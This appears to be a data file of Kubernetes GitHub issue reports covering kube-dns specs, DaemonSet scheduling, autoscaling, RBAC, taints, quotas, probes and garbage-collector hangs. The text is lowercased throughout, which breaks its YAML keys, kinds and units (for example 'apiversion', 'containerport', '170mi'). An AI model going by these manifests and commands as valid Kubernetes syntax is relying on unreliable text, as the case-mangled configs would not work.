8abd76a5-341b-11e7-a6c5-fa163eacb4b9\ ,\ apiversion\ :\ extensions\ ,\ resourceversion\ :\ 326401\ }}\r     scheduler.alpha.kubernetes.io/critical-pod: \ \ \r   creationtimestamp: 2017-05-10t12:41:37z\r   generatename: kube-dns-3453099841-\r   labels:\r     appid: kube-dns\r     k8s-app: kube-dns\r     pod-template-hash: \ 3453099841\ \r   name: kube-dns-3453099841-bct3m\r   namespace: kube-system\r   ownerreferences:\r   - apiversion: extensions/v1beta1\r     blockownerdeletion: true\r     controller: true\r     kind: replicaset\r     name: kube-dns-3453099841\r     uid: 8abd76a5-341b-11e7-a6c5-fa163eacb4b9\r   resourceversion: \ 334588\ \r   selflink: /api/v1/namespaces/kube-system/pods/kube-dns-3453099841-bct3m\r   uid: 0247ff43-357e-11e7-949d-62b7e3e08a39\r spec:\r   affinity:\r     podantiaffinity:\r       requiredduringschedulingignoredduringexecution:\r       - labelselector:\r           matchexpressions:\r           - key: k8s-app\r             operator: in\r             values:\r             - kube-dns\r         topologykey: failure-domain.beta.kubernetes.io/zone\r   containers:\r   - args:\r     - --domain=cluster.local.\r     - --dns-port=10053\r     - --config-dir=/kube-dns-config\r     - --v=2\r     env:\r     - name: prometheus_port\r       value: \ 10055\ \r     image: gcr.docker.tech.lastmile.com/google_containers/k8s-dns-kube-dns-amd64:1.14.1\r     imagepullpolicy: always\r     livenessprobe:\r       failurethreshold: 5\r       httpget:\r         path: /healthcheck/kubedns\r         port: 10054\r         scheme: http\r       initialdelayseconds: 60\r       periodseconds: 10\r       successthreshold: 1\r       timeoutseconds: 5\r     name: kubedns\r     ports:\r     - containerport: 10053\r       name: dns-local\r       protocol: udp\r     - containerport: 10053\r       name: dns-tcp-local\r       protocol: tcp\r     - containerport: 10055\r       name: metrics\r       protocol: tcp\r     readinessprobe:\r       failurethreshold: 3\r       httpget:\r         path: /readiness\r         port: 8081\r         scheme: http\r       initialdelayseconds: 3\r       periodseconds: 10\r       successthreshold: 1\r       timeoutseconds: 5\r     resources:\r       limits:\r         cpu: 200m\r         memory: 170mi\r       requests:\r         cpu: 100m\r         memory: 70mi\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /kube-dns-config\r       name: kube-dns-config\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: kube-dns-token-dd4tp\r       readonly: true\r   - args:\r     - -v=2\r     - -logtostderr\r     - -configdir=/etc/k8s/dns/dnsmasq-nanny\r     - -restartdnsmasq=true\r     - --\r     - -k\r     - --cache-size=1000\r     - --log-facility=-\r     - --server=/cluster.local/127.0.0.1 10053\r     - --server=/in-addr.arpa/127.0.0.1 10053\r     - --server=/ip6.arpa/127.0.0.1 10053\r     image: gcr.docker.tech.lastmile.com/google_containers/k8s-dns-dnsmasq-nanny-amd64:1.14.1\r     imagepullpolicy: always\r     livenessprobe:\r       failurethreshold: 5\r       httpget:\r         path: /healthcheck/dnsmasq\r         port: 10054\r         scheme: http\r       initialdelayseconds: 60\r       periodseconds: 10\r       successthreshold: 1\r       timeoutseconds: 5\r     name: dnsmasq\r     ports:\r     - containerport: 53\r       name: dns\r       protocol: udp\r     - containerport: 53\r       name: dns-tcp\r       protocol: tcp\r     resources:\r       requests:\r         cpu: 150m\r         memory: 20mi\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /etc/k8s/dns/dnsmasq-nanny\r       name: kube-dns-config\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: kube-dns-token-dd4tp\r       readonly: true\r   - args:\r     - --v=2\r     - --logtostderr\r     - --probe=kubedns,127.0.0.1:10053,kubernetes.default.svc.cluster.local,5,a\r     - --probe=dnsmasq,127.0.0.1:53,kubernetes.default.svc.cluster.local,5,a\r     image: gcr.docker.tech.lastmile.com/google_containers/k8s-dns-sidecar-amd64:1.14.1\r     imagepullpolicy: always\r     livenessprobe:\r       failurethreshold: 5\r       httpget:\r         path: /metrics\r         port: 10054\r         scheme: http\r       initialdelayseconds: 60\r       periodseconds: 10\r       successthreshold: 1\r       timeoutseconds: 5\r     name: sidecar\r     ports:\r     - containerport: 10054\r       name: metrics\r       protocol: tcp\r     resources:\r       requests:\r         cpu: 10m\r         memory: 20mi\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: kube-dns-token-dd4tp\r       readonly: true\r   dnspolicy: default\r   nodename: kubernetes-kubernetes-zone2-0-1494413625\r   restartpolicy: always\r   schedulername: default-scheduler\r   securitycontext: {}\r   serviceaccount: kube-dns\r   serviceaccountname: kube-dns\r   terminationgraceperiodseconds: 30\r   tolerations:\r   - key: criticaladdonsonly\r     operator: exists\r   - effect: noexecute\r     key: node.alpha.kubernetes.io/notready\r     operator: exists\r     tolerationseconds: 300\r   - effect: noexecute\r     key: node.alpha.kubernetes.io/unreachable\r     operator: exists\r     tolerationseconds: 300\r   volumes:\r   - configmap:\r       defaultmode: 420\r       name: kube-dns\r       optional: true\r     name: kube-dns-config\r   - name: kube-dns-token-dd4tp\r     secret:\r       defaultmode: 420\r       secretname: kube-dns-token-dd4tp\r \r \r    \r \r clarification: the images listed are from upstream, via a pull-through docker cache. they're not custom images

when\r requests:\r         memory: 0.001mi\r         cpu: 1\r       limits:\r         memory: 0.001mi\r         cpu: 1\r kubectl describe pod_id\r results :   memory=1048576m\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r \r   what happened  :\r the daemonset controller will schedule a pod on a node when the old pod is still in terminating state. this breaks the expectation that only one pod will be running at a time per node.\r \r   what you expected to happen  :\r the daemonset controller should not let two pods running at the same time on the same node.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a daemonset. set terminationgraceperiodseconds to be relatively long. kill a pod. watch a new pod start on the same node when the old pod is still terminating.\r \r   anything else we need to know?  :\r seems this behavior was introduced in https://github.com/kubernetes/kubernetes/pull/43077\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.2\r - cloud provider or hardware configuration  : gke\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r \r the kubernetes only support auto scaling based on cpu and some other  customized metrics  https://github.com/kubernetes/kubernetes.github.io/blob/master/docs/tasks/run-application/horizontal-pod-autoscale.md support-for-custom-metrics  now, the problem is that in a production environment, most customers do not want to use metrics based autoscaling as it is not safe: sometimes the high cpu/memory utilization may not caused by real workload but may be a bug in the application sometime, for this case, the application scale up may use up all of the resources in the clusters.\r \r most customers prefer auto scaling based on time windows, as they actually know when their applications will have a high workload. such as for some mobile applications, the customers know that they will need more resources by the end of each month as they need to do some billing checkpoint etc; for some e-commerce applications, the customers know that they need more resources when they are promoting some products on black friday etc.\r \r so what they want is time-based auto scaling for applications.\r \r there are two solutions for this:\r \r solution 1  leverage  cronjob  in kubernetes, we may need to build a image which include  kubectl  binary, and use  kubectl  to scale the application. the following is an example, it means the application of nginx will be scaled to 3 replicas every day at 8am. this is simple and straightforward. the problem is that each application need a cronjob and the kubernetes may have many jobs if we want to scale many applications.\r \r    \r apiversion: batch/v2alpha1\r kind: cronjob\r metadata:\r   name: scale-up\r spec:\r   schedule: \ 0 8      \ \r   jobtemplate:\r     spec:\r       template:\r         spec:\r           containers:\r           - name: scale\r             image: siji/kubectl:v1.5.2\r             command:\r             - kubectl.sh\r             - kubectl\r             - scale\r             - --replicas=3\r             - deployment/nginx\r           restartpolicy: onfailure\r    \r \r solution 2  similar as  calico policy controller for kubernetes  https://github.com/projectcalico/k8s-policy , develop a new controller for time based auto scaling. this is a clean solution but need more effort.\r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  \r \r   what happened  :\r    bash\r admindemacbook-pro-2:kubectl admin$ ./kubectl set resources deployment hazelcast --limits=cpu=200m,memory=512mi --requests=cpu=100m,memory=256mi\r error: info: deployments \ hazelcast\  was not changed\r admindemacbook-pro-2:kubectl admin$ echo $?\r 1\r    \r   what you expected to happen  :\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

addresses the comments left in https://github.com/kubernetes/kubernetes/pull/51762, including:\r - add ut for gvk.go\r - tweak the signature and interface a bit to make it better.\r \r \r

is this a bug report or feature request?  :\r \r   \r   what happened  :\r when using 'custom metrics', the number of scaled pods is more than the value returned by the 'custom metrics' itself. it always go to the maxreplicas.\r \r    \r name                 reference               targets   minpods   maxpods   replicas   age\r hpa/fileapp-pu-hpa   deployment/fileapp-pu   2 / 1     1         6         6          1h\r \r name                                 ready     status    restarts   age\r po/fileapp-pu-7c9b8c897d-b6rnj       1/1       running   0          18s\r po/fileapp-pu-7c9b8c897d-gkhvn       1/1       running   0          18s\r po/fileapp-pu-7c9b8c897d-m5qfn       1/1       running   0          58s\r po/fileapp-pu-7c9b8c897d-rxqhb       1/1       running   0          23m\r po/fileapp-pu-7c9b8c897d-z65lq       1/1       running   0          38s\r po/fileapp-pu-7c9b8c897d-zz4nq       1/1       running   0          38s\r po/job-metrics-app-594c6b798-zsbsb   1/1       running   0          1h\r \r    \r   what you expected to happen  :\r having the number of scaled pods inline with the 'custom metrics' value.\r so, i'm expecting to have the number of replicas equel to 2.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i'm using a 'custom metrics' named 'nb_jobs' and use the hpa definition describe above:\r \r    \r kind: horizontalpodautoscaler\r apiversion: autoscaling/v2beta1\r metadata:\r   name: fileapp-pu-hpa\r spec:\r   scaletargetref:\r     kind: deployment\r     name: fileapp-pu\r   minreplicas: 1\r   maxreplicas: 6\r   metrics:\r   - type: object\r     object:\r       target:\r         kind: service\r         name: job-metrics-app\r       metricname: nb_jobs\r       targetvalue: 1\r    \r \r as you can see, 'nb_jobs' is exposed by a different service  job-metrics-app  than the one i want to scale  fileapp-pu .\r i also change the 'kube-controller-manager.yaml' to reduce the autoscaler delays to 15s. i add these two lines:\r - --horizontal-pod-autoscaler-downscale-delay=15s\r - --horizontal-pod-autoscaler-upscale-delay=15s\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version: 1.8.5\r

hi,\r \r when i tried to deploy kube-dns-autoscaler, the rbac create clusterrole failed due to below error:\r \r \r rror from server  forbidden : error when creating \ dns-autoscale.yaml\ : clusterroles.rbac.authorization.k8s.io \ system:kube-dns-autoscaler\  is forbidden: attempt to grant extra privileges:  { list      nodes       } { get   extensions   deployments/scale       } { update   extensions   deployments/scale       } { get   extensions   replicasets/scale       } { update   extensions   replicasets/scale       } { get   extensions   replicationcontrollers/scale       } { update   extensions   replicationcontrollers/scale       }  user=&{noah qunar  system:authenticated  map  } ownerrules= { create   authorization.k8s.io   selfsubjectaccessreviews       } { get            /api /api/  /apis /apis/  /healthz /swaggerapi /swaggerapi/  /version }  ruleresolutionerrors=  \r \r \r any advice? \r \r thanks

back story in https://github.com/kubernetes/kubernetes/issues/54904, but still the top 2nd flake on velodrome: http://velodrome.k8s.io/dashboard/db/bigquery-metrics?orgid=1

the name of the nodes of k8s is the same as the linux hostname,because dns cannot resolve the hostname, metrics-server cannot get the data. i think so.\r >    \r > e1008 06:51:25.170819 1 manager.go:102  unable to fully collect metrics:  unable to fully scrape metrics from source kubelet_summary:kube-master: unable to fetch metrics from kubelet kube-master  kube-master : get http://kube-master:10255/stats/summary/: dial tcp: lookup kube-master on 10.254.0.2:53: no such host, unable to fully scrape metrics from source kubelet_summary:kube-backup: unable to fetch metrics from kubelet kube-backup  kube-backup : get http://kube-backup:10255/stats/summary/: dial tcp: lookup kube-backup on 10.254.0.2:53: no such host, unable to fully scrape metrics from source kubelet_summary:kube-worker: unable to fetch metrics from kubelet kube-worker  kube-worker : get http://kube-worker:10255/stats/summary/: dial tcp: lookup kube-worker on 10.254.0.2:53: no such host \r >

i was trying to provision a second kubernetes box on aws for hours without success. after going through the config-default.sh and digging for a way to get the second instance up, i realized i could just set kube_aws_instance_prefix to the desired name. this created the cluster in a new vpc.  i propose an annotation for kube_aws_instance_prefix describing its usefulness.

is this a request for help?   no.\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  \ is:issue is:open test timed out ginkgo\  \r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r as mentioned in the  comments in  /test/e2e/opaque_resource.go   https://github.com/kubernetes/kubernetes/blob/e402c5d5e50c11af3ecde4fffa509776f0608d03/test/e2e/opaque_resource.go l65 , attempting to remove the opaque resource from the node by patching in an aftereach block seems to trigger a test suite time-out failure. however, calling the same code to remove the oir from a deferred function in each  it  block doesn't seem to cause this error.\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version  : 1.6, master\r \r   environment  :\r \r - ci e2e environment\r \r   what happened  :\r \r - test suite timed out.\r \r   what you expected to happen  :\r \r - test suite to complete normally, either with success or failure.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r - uncomment the aftereach block in  test/e2e/opaque_resource.go .\r \r   anything else we need to know  :\r \r

bug report  \r \r   kubernetes version    use  kubectl version  :\r \r    \r $ kubectl --kubeconfig=cluster/auth/kubeconfig version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : vagrant\r -   os    e.g. from /etc/os-release : coreos container linux\r -   kernel    e.g.  uname -a  :\r -   install tools  : bootkube\r -   others  :\r \r \r   what happened  :\r \r attempted to create  a deployment  https://gist.github.com/ericchiang/921582485cbb193c37af37dacc54a8e2  that sets the  runasuser  security context against a 1.7 cluster fails even though the api server validates fine.\r \r this broke bootkube, which uses client-go at version 1.6.\r \r    \r $ kubectl --kubeconfig=cluster/auth/kubeconfig create -f cluster/manifests/kube-scheduler.yaml \r error: error validating \ cluster/manifests/kube-scheduler.yaml\ : error validating data: unexpected type: types.unixuserid; if you choose to ignore these errors, turn validation off with --validate=false\r    \r \r it appears the switch to a dedicated type  https://github.com/kubernetes/kubernetes/pull/44714  for unix ids has caused some issues with kubectl validation.\r \r   what you expected to happen  :\r \r kubectl to create the deployment without validation errors.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r use kubectl 1.6 to try to create the following deployment against a 1.7 cluster:\r \r    yaml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: nginx-deployment\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: nginx:1.7.9\r       securitycontext:\r         runasnonroot: true\r         runasuser: 65534   fails validation\r    \r \r /cc @kubernetes/sig-api-machinery-bugs @jamiehannaford @diegs @kubernetes/sig-cli-bugs \r

is this a bug report or feature request?  :\r feature request\r \r  \r i have a yaml file for a stateful set. i'm trying to add a toleration to it. \r \r   what happened  :\r \r when i run kubectl apply -f file.yaml, i get the following error:\r \r    \r the statefulset \ stateful-set-1\  is invalid: spec: forbidden: updates to statefulset spec for fields other than 'replicas' and 'containers' are forbidden.\r    \r \r   what you expected to happen  :\r \r i expect the pods to have the specified tolerations applied.\r \r   how to reproduce it  as minimally and precisely as possible   :\r   create a stateful set via a yaml file.\r   once created, change the file to add a toleration. try applying it.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r - cloud provider or hardware configuration  :\r aws ec2 with kops.\r

is this a bug report or feature request?  :\r \r \r >  > @kubernetes/sig-log\r \r   what happened  :\r crashloopbackoff occurs but does not get write to log and fluentd unable to collect\r   what you expected to happen  :\r occurrences of the error \ crashloopbackoff\  should write to the pod log even if the container did not receive the message/event.  this would allow user to identified which nodes where the pod is residing experiencing the \ crashloopbackoff\  occurrence.\r   how to reproduce it  as minimally and precisely as possible   :\r 1. deploy fluentd daemonset\r 2. deploy a pod that write a message to \ terminationmessagepath\  then exits after 10 sec\r 3. verify the pod exits and then restarts with the \ crashloopbackoff\  from the ui\r 4. kibana display the pod info but does not display the value \ crashloopbackoff\ \r   anything else we need to know?  :\r 5. run the command \ kubectl get pod pod_name -o=yaml\  to get the container status last state and current state.  it will show the \ crashloopbackoff\ \r   environment  :\r - kubernetes version  use  kubectl version  : 1.5.4\r - cloud provider or hardware configuration  :  vsphere\r - os  e.g. from /etc/os-release :  centos 7.3\r - kernel  e.g.  uname -a  : 3.10\r - install tools:\r - others:\r \r        containerstatuses:\r        - containerid: docker://534f09bafe227d1f60eab13f533c623ae66ec92b870d77249745e2b4d1c79773\r          image: debian\r          imageid: docker-pullable://docker.io/debian@sha256:\r                       7d067f77d2ae5a23fe6920f8fbc2936c4b0d417e9d01b26372561860750815f0\r          laststate:\r             terminated:\r               containerid: docker:\r                           //534f09bafe227d1f60eab13f533c623ae66ec92b870d77249745e2b4d1c79773\r               exitcode: 0\r               finishedat: 2017-07-05t23:17:03z\r               message: |\r                    sleep expired\r               reason: completed\r               startedat: 2017-07-05t23:16:03z\r            name: dt-msg-path-demo-container\r            ready: false\r            restartcount: 10\r            state:\r               waiting:\r                  message: back-off 5m0s restarting failed container=dt-msg-path-demo-container\r                           pod=dt-msg-path-demo_default be6d744e-61d2-11e7-90f0-00505691b7ad \r                  reason: crashloopbackoff

this came up when i was checking the kubelet logs for  60763\r \r kubelet admits or rejects pods assigned to the node in its sync loop, and would not start syncing a pod until it's admitted. in the meantime, volume manager works independently to mount volumes for the assigned pods, as long as they are not in a terminated state. this causes issues where kubelet already rejected  or is about to reject  a pod, but their volumes are mounted. the volume manager should wait and check the results of the admission before attempting to mount.\r \r /cc @kubernetes/sig-storage-bugs \r /cc @kubernetes/sig-node-bugs

 \r \r   what happened  :\r \r when i  kubectl apply -r  -f test/  and i have several numerous k8s objects in different files. it could fail to apply due to the file ordering.\r \r   what you expected to happen  :\r \r all the objects should be created.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a  test  directory containing two files\r \r    \r test/pod.yml\r test/z-namespace.yml \r    \r \r pod.yml contains\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: nginx\r   namespace: test\r spec:\r   containers:\r   - name: nginx\r     image: nginx:1.7.9\r     ports:\r     - containerport: 80\r    \r \r z-namespace.yml contains\r    \r apiversion: v1\r kind: namespace\r metadata:\r   name: test\r    \r \r then try to create the objects:\r \r    \r $  kubectl apply -r -f test\r namespace \ test\  created\r error from server  notfound : error when creating \ test/pod.yml\ : namespaces \ test\  not found\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-05-12t04:12:12z\ , goversion:\ go1.9.6\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.6-gke.1\ , gitcommit:\ cb151369f60073317da686a6ce7de36abe2bda8d\ , gittreestate:\ clean\ , builddate:\ 2018-04-07t22:06:59z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r gke1.9.6

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r \r  \r >  \r \r   what happened  :\r i want to schedule onto master node, so i try to remove taint in master node.\r \r i list taint first:\r    \r  root@dx-app ~   cat nodes-taints.tmpl \r {{printf \ %-50s %-12s\ \  \ node\  \ taint\ }}\r {{- range .items}}\r     {{- if $taint :=  index .spec \ taints\   }}\r         {{- .metadata.name }}{{ \ \\t\  }}\r         {{- range $taint }}\r             {{- .key }}={{ .value }}:{{ .effect }}{{ \ \\t\  }}\r         {{- end }}\r         {{- \ \ \  }}\r     {{- end}}\r {{- end}}\r  root@dx-app ~   kubectl get nodes -o go-template-file=\ ./nodes-taints.tmpl\ \r node                                               taint       \r dx-app.localdomain\tnode-role.kubernetes.io/master=<no value>:noschedule\t\r    \r then i call restapi:\r    \r  root@dx-app ~   kubectl taint nodes $ hostname  node-role.kubernetes.io/master=<no value>:noschedule-\r -bash: no: no such file or directory\r  root@dx-app ~   kubectl taint nodes $ hostname  \ node-role.kubernetes.io/master=<no value>:noschedule-\ \r error: invalid taint spec: node-role.kubernetes.io/master=<no value>:noschedule-, a valid label must be an empty string or consist of alphanumeric characters, '-', '_' or '.', and must start and end with an alphanumeric character  e.g. 'myvalue',  or 'my_value',  or '12345', regex used for validation is '   a-za-z0-9  -a-za-z0-9_.   ? a-za-z0-9  ?' \r see 'kubectl taint -h' for help and examples.\r  root@dx-app ~   kubectl taint nodes dx-app.novalocal node-role.kubernetes.io/master=\\<no\\ value\\>:noschedule-\r error: invalid taint spec: node-role.kubernetes.io/master=<no value>:noschedule-, a valid label must be an empty string or consist of alphanumeric characters, '-', '_' or '.', and must start and end with an alphanumeric character  e.g. 'myvalue',  or 'my_value',  or '12345', regex used for validation is '   a-za-z0-9  -a-za-z0-9_.   ? a-za-z0-9  ?' \r see 'kubectl taint -h' for help and examples.\r  root@dx-app ~   kubectl taint nodes dx-app.novalocal node-role.kubernetes.io/master=:noschedule-\r error: invalid taint effect: noschedule-, unsupported taint effect\r see 'kubectl taint -h' for help and examples.\r    \r \r   what you expected to happen  :\r what does the  <no value>  mean?\r \r i google  a workaround which can remove all taint:\r    \r kubectl patch nodes $ hostname  -p '{\ spec\ :{\ taints\ :  }}'\r    \r \r how can i remove only this taint?\r \r   how to reproduce it  as minimally and precisely as possible   :\r use image to install and use default config only change host ip \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.3 commit:dd5e1a2978fd0b97d9b78e1564398aeea7e7fe92\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : centos7.4\r - kernel  e.g.  uname -a  : 3.10.0-693.el7.x86_64\r - install tools: yum\r - others:\r 

to help catch incompatibilities we introduce, we need something like the round-trip fuzz test, but where the objects are encoded using a prior release and decoded using code at head, and vice versa. cc @lavalamp

when pasting this url into slack \ http://kubernetes.io/v1.0/docs/user-guide/volumes.html hostpath\   the snippet is not very useful. i would expect it to show a thumbnail that's more useful, or suppress the thumbnail. can we update k8s.io to improve the snippet generation for our slack channel?

provide a way for tooling to be able to group template parameters that are common. this would allow us to display parameters in a hierarchical structure instead of a long list. example, one might want to group database items together  e.g. username, password, port  or web-server specific parameters. additionally, categories could support a description that would be provided by the template author for display by tooling.  ref previous discussion: https://github.com/openshift/origin/issues/3973 related to: https://github.com/kubernetes/kubernetes/pull/25293

\r   kubernetes version    use  kubectl version  :\r 1.6.4 for both server and client\r \r   environment  :\r -   cloud provider or hardware configuration  : gke and on premise\r -   os    e.g. from /etc/os-release : debian jessie and ubuntu 16.04\r -   kernel    e.g.  uname -a  : 4.4.0-78  ubuntu \r -   install tools  : managed service for gke, ansible for on premise\r \r   what happened  :\r when i define a resource quota limit with gpu resources in it to limit the number of gpu allocated to a namespace as  \r \r    apiversion: v1\r kind: resourcequota\r metadata:\r   name: quota\r   namespace: test\r spec:\r   hard:\r     requests.cpu: \ 12\ \r     requests.memory: 8gi\r     requests.alpha.kubernetes.io/nvidia-gpu: \ 1\ \r     limits.cpu: \ 12\ \r     limits.memory: 8gi\r     limits.alpha.kubernetes.io/nvidia-gpu: \ 1\ \r     configmaps: \ 100\ \r     services: \ 100\ \r     secrets: \ 100\ \r    \r \r \r it creates the  quota  object without any warning. but when i try to run any deployment in that namespace, i get the error as\r   warning   failedcreate   replicaset-controller   error creating: pods \ tensorflow-3620546736-\  is forbidden: status unknown for quota: quota . \r this error goes away if i remove the gpu from resource quota. also looking at the  docs  https://kubernetes.io/docs/concepts/policy/resource-quotas/  it seems gpu is not supported for quota. \r \r   what you expected to happen  :\r i expect that in the above quota case, user will be able to run workload in  test  namespace with 1 gpu at max.\r \r   how to reproduce it    as minimally and precisely as possible :\r apply the above quota to a namespace and try to deploy any deployment with or without gpu, you will see the error. \r \r \r

what happened  : readiness probe failed\r \r   what you expected to happen  : succesfull container startup\r \r   how to reproduce it  as minimally and precisely as possible   : i created a nodeport service, and then the issue seemed to start. i deleted the nodeport service and reverted back to the previous loadbalancer service but the issue remains.\r \r if i remove the liveness probe from my deployment config, the containers start up successfully, and i'm able to access them via the loadbalancer service external ip\r \r   cloud provider or hardware configuration  : google cloud platform\r \r the container in question is a nginx container listening on port 80. \r \r ---\r \r the event from  kubectl describe  is: \r    unhealthy\t\treadiness probe failed: get http://10.24.1.33:80/: net/http: request canceled  client.timeout exceeded while awaiting headers    \r \r i can exec into the container and do:  wget 10.24.1.33  which works correctly  http 200 response .\r \r ---\r \r readiness probe config:\r    \r           readinessprobe:\r             httpget:\r               path: /\r               port: 80\r             initialdelayseconds: 5 \r             periodseconds: 5\r

is this a bug report or feature request?  :\r  \r   what happened  :\r i am running etcd-operator in kubernetes, and noticed that when i deleted the etcdcluster  custom resource definition  the pods & services did not get cleaned up. i looked on another kube environment i had running, and on that env everything worked as expected. i checked logs, and could see on the env that was working i saw the following messages in controller manager logs:\r    \r i0215 08:59:06.659783       1 garbagecollector.go:371  processing item  v1/pod, namespace: etcd-operator, name: example-etcd-cluster-thcr8pfv89, uid: c9cdb6d7-122d-11e8-b4ac-068cfe9de373 \r i0215 08:59:06.659871       1 garbagecollector.go:371  processing item  v1/service, namespace: etcd-operator, name: example-etcd-cluster-client, uid: c9d238bc-122d-11e8-b4ac-068cfe9de373 \r    \r i didn't see these in the env that wasn't working, so i started looking at the garbage collector on there.\r \r i noticed that there hadn't been any log message from garbage collecor since 31st jan, when this was logged:\r    \r i0131 10:14:31.617880       1 controller_utils.go:1041  waiting for caches to sync for garbage collector controller\r    \r around this time we experienced some environmental network issues, which caused lots of errors around that time, such as:\r    \r e0131 10:13:31.691887       1 cronjob_controller.go:113  can't list jobs: the server was unable to return a response in the time allotted, but may still be processing the request  get jobs.batch \r e0131 10:13:58.322978       1 node_controller.go:1022  error updating node 10.143.115.218: the server was unable to return a response in the time allotted, but may still be processing the request  put n\r odes 10.143.115.218 \r e0131 10:14:31.617808       1 memcache.go:150  couldn't get current server api group list; will keep using cached value.  the server was unable to return a response in the time allotted, but may still b\r e processing the request \r    \r \r it looks like these issues may have caused the garbage collector to get into some sort of hung state?\r \r when i restarted controller manager everything started working as expected.\r \r   what you expected to happen  :\r garbage collector should have kept running, and working as expected.\r \r   how to reproduce it  as minimally and precisely as possible   :\r not sure on the exact sequence that caused it, but suspect it was related to a time period when errors were occurring.\r \r   anything else we need to know?  :\r we have  --leader-elect=false  set, and had previously hit this garbage collector issue -> https://github.com/kubernetes/kubernetes/issues/57044\r however, we are running with kube 1.8.6 with the fix for that issue cherry-picked  commit f5d5d18b2c2320e19ea3c0697c37a95d0009e628 \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.6-4+9c2a4c1ed1ee7e\ , gitcommit:\ 9c2a4c1ed1ee7e2e121203aa9a87315633a89eca\ , gittreestate:\ clean\ , builddate:\ 2018-01-22t08:23:41z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.6-4+9c2a4c1ed1ee7e\ , gitcommit:\ 9c2a4c1ed1ee7e2e121203aa9a87315633a89eca\ , gittreestate:\ clean\ , builddate:\ 2018-01-22t08:23:41z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r ibm cloud\r - os  e.g. from /etc/os-release :\r ubuntu \ 